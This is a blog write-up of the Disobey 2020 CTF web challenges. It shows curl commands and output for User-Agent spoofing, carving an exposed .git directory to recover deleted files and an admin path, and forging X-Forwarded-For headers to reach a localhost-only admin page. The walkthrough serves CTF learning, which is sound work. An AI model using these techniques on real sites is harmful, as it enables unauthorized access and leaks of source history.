| my rAnd0m m1ndfl0w |
| #whoami $bl0g /script.s |
Disobey 2020 CTF Web challenges writeup --------------------------------------- I think we solved them all, there was though one part of the web challenge, which disappeared during the ctf and in our end results one, that I'm not aware of what it was, maybe I'm just too much of a scatterbrain. I've renamed the target host here, just in case. Crawl like a bot ---------------- Well as most of us know, the web crawlers can be guided in indexing by using robots.txt. So we tested for target.host/robots.txt:
curl -L target.host/robots.txt
User-agent: *
Disallow:
BCTF{are_y0u_a_b0t?}
New blog, new adventures ------------------------ Just checked the source code:
--snip--
<!-- BCTF{HTML_c0mm3nts_are_sne4ky} -->
--snip--
Old is gold ----------- Monitored the traffic between our web client and the server and saw that every response from the web server contains an x-flag, and x-flags were deprecated in 2012:
BCTF{header_c4n_also_be_fl4gg3d}
499 I am a Playstation ---------------------- The target contains a link to their mobile site: target.host/playstation4.html but gives the error "You are not a Playstation 4. GTFO". So let's try to provide the server with PS4's user agent (Mozilla/5.0 (PlayStation 4 5.55) AppleWebKit/601.2 (KHTML, like Gecko)) when requesting the page:
curl 'https://target.host/playstation4.html' \
-H 'User-Agent: Mozilla/5.0 (PlayStation 4 5.55) AppleWebKit/601.2 (KHTML, like Gecko)' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' --compressed \
-H 'Connection: keep-alive' \
-H 'Referer: https://target.host/' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Pragma: no-cache' \
-H 'Cache-Control: no-cache' \
-H 'TE: Trailers'
Oh nice, you just surfed this page with a Playstation 4. Here is your Flag: BCTF{even_c0ns0les_use_1ntern3t}
Well known ---------- Figured it means the ".well-known" hidden folder (RFC5785), so tested for target.host/.well-known/ which gave 403. So it exists. We polled through for all the registered URIs with well-known.sh bash ~/Tools/well-known.sh target.host .-------------------------------------------------------. | Checking for .well-known/files... | +-------------------------------------------------------+ |> security.txt FOUND! +-------------------------------------------------------+ | DONE | '-------------------------------------------------------' OK, so security.txt exists, let's curl it out:
curl -L target.host/.well-known/security.txt
You found a critical bug?
Write a mail to
security étrandomuser döt xx
BCTF{this_should_be_well_known}
All the infos ------------- So this one could be found by discovering target.host/.git/ which we did with DirBuster using quickhits. Then we carved the .git/ and it's content with gitGet.sh Then examine .git/logs/HEAD: cat .git/logs/HEAD --snip-- ae8f4a561a6c0ff6f8a2cf0154111a5b48297879 d9d07d0132da441c1a7def288f0cec9c40d3183e randomuser Mistake ------- Another one we can find from the .git/
cat .git/logs/refs/heads/master
0000000000000000000000000000000000000000 e79a1a2ef8308dc314ca1a312dfc678e7911e883 randomuser Secret file seems interesting, lets check it out and compare to the original commit to see what it contains:
git checkout eeaddaff36785b17d4f356828e8da0cc155adba7
git diff e79a1a2ef8308dc314ca1a312dfc678e7911e883
diff --git a/supersecretflag.txt b/supersecretflag.txt
new file mode 100644
index 0000000..718ad87
--- /dev/null
+++ b/supersecretflag.txt
@@ -0,0 +1,2 @@
+BCTF{th1s_w4s_a_mistake}
+Belongs to "web mistake"
Portfolio --------- Another flag that can be obtained through the .git/. As the live version of the site looks like it's had a portfolio, but only the images it had remain, it must've been removed at some point.
cat .git/logs/refs/heads/master
--snip--
9202d04f94718561a210b4f2046f3e0ef740bd73 3a53815c32ecb84742080859e4fe3e66ee5d73c8 randomuser Looks like someone removed the portfolios in commit 134d99a7aa8848a07c118eaf26c4c7fb75ca61dd, so we temporarily revert to the previous version: git checkout aeca30ef5262e35ae3d9d823c802365e655cf5c0 Now we got portfolio-index.html and in it we found:
BCTF{lol_del3ted_file}
Admin ----- There's a hidden admin page somewhere? As the DirBuster didn't reveal anything earlier, there must be some actual way of finding the dir. At this point we've already discovered the .git/ and carved the content so maybe there's some info in it to proceed:
cat .git/logs/refs/heads/master
0000000000000000000000000000000000000000 e79a1a2ef8308dc314ca1a312dfc678e7911e883 randomuser Well oopsie always sounds promising, so lets temporarily revert to that: git checkout bf5b5457596aa7e370021f89cb4921178e4516f4 ##ETERM# Then maybe just try the easiest thing first; compare the restored commit to the latest commit: git diff a1ca8ed010e041b6ff6b8f6ba57b33d8e3e22b97 --snip-- diff --git a/contact.html b/contact.html index 1a02ecb..cb62f83 100644 --- a/contact.html +++ b/contact.html @@ -3,10 +3,6 @@ <!--[if IE 8 ]><html class="no-js ie ie8" lang="en"> <![endif]--> <!--[if (gte IE 8)|!(IE)]><!--><html class="no-js" lang="en"> <!--<![endif]--> <head> - -<!-- TODO -add better access control to /admincontrolcenter, only local access now permitted ---> --snip-- That seems promising, an admin url. So lets try opening it: curl target.host/admincontrolcenter <html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.10.3</center> </body> </html> Oopsie, let's follow the 301 by adding the -L handle: curl -L target.host/admincontrolcenter <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.10.3</center> </body> </html> Aw snap, well we know it's there, just need to figure out why the 403... Well we tried the easiest approach first: tell the server we're from localhost using x-headers:
curl -L $'https://target.host/admincontrolcenter/' \
-H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' \
-H $'x-originating-IP: 127.0.0.1' \
-H $'x-forwarded-for: 127.0.0.1' \
-H $'x-remote-IP: 127.0.0.1' \
-H $'x-remote-addr: 127.0.0.1'
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Title of the document</title>
</head>
<body>
Welcome Admin.
Great to see you from localhost
Here is your Flag: BCTF{X_Forwarding_Abuse_FTW}
</body>
|